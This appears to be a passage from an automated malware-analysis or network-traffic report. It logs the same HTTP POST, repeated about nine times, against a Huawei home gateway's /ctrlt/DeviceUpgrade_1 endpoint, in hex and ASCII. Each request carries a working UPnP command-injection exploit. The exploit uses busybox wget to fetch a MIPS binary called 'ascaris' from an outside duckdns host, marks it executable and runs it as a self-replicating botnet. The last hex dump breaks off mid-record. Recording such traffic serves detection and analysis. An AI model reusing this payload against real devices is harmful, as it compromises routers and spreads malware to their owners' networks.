Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 